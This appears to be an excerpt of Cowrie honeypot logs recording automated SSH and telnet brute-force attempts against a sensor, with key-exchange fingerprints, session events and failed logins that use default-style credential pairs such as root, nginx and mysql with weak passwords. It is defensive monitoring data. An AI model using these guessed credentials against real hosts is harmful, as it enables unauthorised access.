{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.505829Z","src_ip":"80.66.85.226","session":"746216666e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.556950Z","src_ip":"176.65.132.129","session":"0d833fc26abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3rjs1la7qe","message":"login attempt [root/3rjs1la7qe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.774762Z","src_ip":"80.66.85.226","session":"746216666e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.803395Z","src_ip":"176.65.132.129","session":"0d833fc26abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:25.867863Z","src_ip":"80.66.85.226","session":"746216666e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:25.895723Z","src_ip":"176.65.132.129","session":"0d833fc26abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.72307562828064,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:26.209409Z","src_ip":"152.42.224.71","session":"c6b968c63ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44938,"dst_ip":"159.203.135.109","dst_port":22,"session":"891528aab8dd","protocol":"ssh","message":"New connection: 176.65.132.129:44938 (159.203.135.109:22) [session: 891528aab8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:27.783019Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60062,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7d995aabd2","protocol":"telnet","message":"New connection: 152.42.224.71:60062 (10.17.0.5:23) [session: bb7d995aabd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:27.832594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:27.906833Z","src_ip":"176.65.132.129","session":"891528aab8dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:27.910622Z","src_ip":"176.65.132.129","session":"891528aab8dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:28.247595Z","src_ip":"176.65.132.129","session":"891528aab8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:29.333203Z","src_ip":"176.65.132.129","session":"891528aab8dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44950,"dst_ip":"159.203.135.109","dst_port":22,"session":"917ecf7503a5","protocol":"ssh","message":"New connection: 176.65.132.129:44950 (159.203.135.109:22) [session: 917ecf7503a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:31.162215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:31.166315Z","src_ip":"176.65.132.129","session":"917ecf7503a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:31.248966Z","src_ip":"176.65.132.129","session":"917ecf7503a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:31.494530Z","src_ip":"176.65.132.129","session":"917ecf7503a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:32.721086Z","src_ip":"176.65.132.129","session":"917ecf7503a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44952,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c93cfedf17","protocol":"ssh","message":"New connection: 176.65.132.129:44952 (159.203.135.109:22) [session: b4c93cfedf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:34.380196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:34.384656Z","src_ip":"176.65.132.129","session":"b4c93cfedf17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:34.468466Z","src_ip":"176.65.132.129","session":"b4c93cfedf17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:34.713202Z","src_ip":"176.65.132.129","session":"b4c93cfedf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:35.798243Z","src_ip":"176.65.132.129","session":"b4c93cfedf17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38544,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a90b8f20a51","protocol":"ssh","message":"New connection: 176.65.132.129:38544 (159.203.135.109:22) [session: 3a90b8f20a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:37.659279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:37.664019Z","src_ip":"176.65.132.129","session":"3a90b8f20a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:37.861711Z","src_ip":"176.65.132.129","session":"3a90b8f20a51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:38.147666Z","src_ip":"176.65.132.129","session":"3a90b8f20a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:39.232922Z","src_ip":"176.65.132.129","session":"3a90b8f20a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38564,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64d11463af5","protocol":"ssh","message":"New connection: 176.65.132.129:38564 (159.203.135.109:22) [session: f64d11463af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:41.038857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:41.043223Z","src_ip":"176.65.132.129","session":"f64d11463af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:41.124174Z","src_ip":"176.65.132.129","session":"f64d11463af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:41.368899Z","src_ip":"176.65.132.129","session":"f64d11463af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45550,"dst_ip":"10.17.0.5","dst_port":23,"session":"929c6f4fb181","protocol":"telnet","message":"New connection: 152.42.224.71:45550 (10.17.0.5:23) [session: 929c6f4fb181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:42.115443Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:42.506142Z","src_ip":"176.65.132.129","session":"f64d11463af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38586,"dst_ip":"159.203.135.109","dst_port":22,"session":"41579d4baaf1","protocol":"ssh","message":"New connection: 176.65.132.129:38586 (159.203.135.109:22) [session: 41579d4baaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:44.185125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:44.190374Z","src_ip":"176.65.132.129","session":"41579d4baaf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:44.272621Z","src_ip":"176.65.132.129","session":"41579d4baaf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.480973958969116,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:44.313477Z","src_ip":"152.42.224.71","session":"bb7d995aabd2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:44.517940Z","src_ip":"176.65.132.129","session":"41579d4baaf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:45.603315Z","src_ip":"176.65.132.129","session":"41579d4baaf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56728,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47fd4d08db3","protocol":"telnet","message":"New connection: 152.42.224.71:56728 (10.17.0.5:23) [session: c47fd4d08db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:47.468887Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51738,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71f0410b39d","protocol":"ssh","message":"New connection: 176.65.132.129:51738 (159.203.135.109:22) [session: f71f0410b39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:47.477639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:47.486629Z","src_ip":"176.65.132.129","session":"f71f0410b39d","protocol":"ssh"}
